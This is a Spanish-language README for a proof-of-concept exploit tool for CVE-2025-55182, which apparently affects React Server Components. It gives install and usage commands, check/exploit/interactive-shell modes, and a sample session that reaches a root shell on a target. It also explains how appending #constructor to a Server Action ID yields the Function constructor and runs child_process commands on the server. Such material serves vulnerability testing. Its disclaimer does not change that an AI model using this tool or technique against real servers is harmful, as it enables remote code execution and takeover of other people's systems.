
PoC para CVE-2025-55182
PoC para CVE-2025-55182
Usage: python3 poc.py -u http://target.com --cmd "<cmd_here>"
Esta herramienta se proporciona únicamente con fines educativos y para pruebas de seguridad autorizadas. El uso de esta herramienta para atacar objetivos sin consentimiento mutuo previo es ilegal. El desarrollador no asume ninguna responsabilidad y no se hace responsable por cualquier uso indebido o daño causado por este programa.
pip install requests
Puedes ejecutar la herramienta en tres modos: Check, Exploit o Interactive Shell.
usage: poc.py [-h] [-u URL] [--id ID] [-c CMD] [--check]
options:
-h, --help show this help message and exit
-u URL Target URL (e.g., http://localhost:3000)
--id ID Target Server Action ID (default: user-profile-action)
-c CMD, --cmd CMD Command to execute directly (non-interactive mode)
--check Only check for vulnerability (Crash Method), do not exploit
python3 poc.py -u http://target-site.com --check
python3 poc.py -u http://target-site.com --cmd "id"
python3 poc.py
# Inside the shell
RSC-Shell> set url http://localhost:3000
[+] URL set to: http://localhost:3000
RSC-Shell> check
[+] TARGET IS VULNERABLE!
RSC-Shell> shell
[*] Starting pseudo-interactive shell. Use 'exit' to return.
cmd> whoami
root
El Check: Envía una solicitud multipart definiendo {} en el índice 1, e intenta acceder a ["$1🅰️a"]. Los servidores sin parche fallan (HTTP 500) al intentar acceder a la propiedad a de undefined. Los servidores parcheados devuelven HTTP 200.
El Exploit: Envía una solicitud multipart referenciando el Action ID válido, pero añade #constructor. Esto engaña al serializador para que devuelva el constructor Function, permitiéndonos pasar JavaScript arbitrario (child_process de Node.js) para que sea ejecutado en el servidor.